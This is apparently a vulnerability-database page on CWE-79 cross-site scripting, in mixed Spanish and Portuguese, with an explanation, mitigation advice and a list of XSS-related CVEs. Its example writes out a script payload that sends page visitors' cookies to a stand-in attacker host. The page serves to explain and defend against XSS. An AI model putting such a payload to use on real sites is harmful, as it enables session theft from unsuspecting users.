Fallos del tipo CWE-79

30.668 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-1430HIGHCross-site Scripting (XSS) - DOM in octoprint/octoprintEPSS 1.4%CVE-2008-3937MEDIUMMultiple cross-site scripting (XSS) vulnerabilities in Open Media Collectors Database (OpenDb) 1.0.6 allow remote attackers to inject arbitrEPSS 1.4%CVE-2022-24833HIGHPersistent Cross-site Scripting (XSS) vulnerability in PrivateBinEPSS 1.4%CVE-2025-24158MEDIUMThe issue was addressed with improved memory handling. This issue is fixed in Safari 18.3, iOS 18.3 and iPadOS 18.3, macOS Sequoia 15.3, tvOEPSS 1.4%CVE-2021-36027MEDIUMMagento Commerce Stored Cross-site Scripting VulnerabilityEPSS 1.4%CVE-2020-8217—A cross site scripting (XSS) vulnerability in Pulse Connect Secure <9.1R8 allowed attackers to exploit in the URL used for Citrix ICA.EPSS 1.4%CVE-2019-25152HIGHAbandoned Cart Lite for WooCommerce < 5.2.0 and Abandoned Cart Pro for WooCommerce < 7.13.0 - Stored Cross-Site ScriptingEPSS 1.4%CVE-2021-36063MEDIUMAdobe Connect Reflected Cross-site Scripting via 'isTabletDeviceHTML' parameterEPSS 1.4%CVE-2021-36062MEDIUMAdobe Connect Reflected Cross-site Scripting via 'campaign-id' parameterEPSS 1.4%CVE-2021-41164HIGHAdvanced Content Filter (ACF) vulnerability allowing to execute JavaScript code using malformed HTMLEPSS 1.3%CVE-2022-40879MEDIUMkkFileView v4.1.0 is vulnerable to Cross Site Scripting (XSS) via the parameter 'errorMsg.'EPSS 1.3%CVE-2021-24878—SupportCandy < 2.2.7 - Reflected Cross-Site ScriptingEPSS 1.3%CVE-2023-47265—Apache Airflow: DAG Params alllow to embed unchecked JavascriptEPSS 1.3%CVE-2021-24556—Email Subscriber <= 1.1 - Unauthenticated Stored Cross-Site Scripting (XSS)EPSS 1.3%CVE-2021-24756—WP System Log < 1.0.21 - Unauthenticated Stored Cross-Site ScriptingEPSS 1.3%CVE-2021-24508—Smash Balloon Social Post Feed < 2.19.2 - Unauthenticated Stored XSSEPSS 1.3%CVE-2020-36731HIGHFlexible Checkout Fields for WooCommerce <= 2.3.1 - Unauthenticated Arbitrary Plugin Settings UpdateEPSS 1.3%CVE-2024-27140MEDIUMApache Archiva: reflected XSSEPSS 1.3%CVE-2022-22114CRITICALTeedy - Reflected Cross-Site Scripting (XSS) in the Search FunctionalityEPSS 1.3%CVE-2016-15041HIGHMainWP Dashboard – The Private WordPress Manager for Multiple Website Maintenance Plugin <= 3.1.2 - Stored Cross-Site ScriptingEPSS 1.3%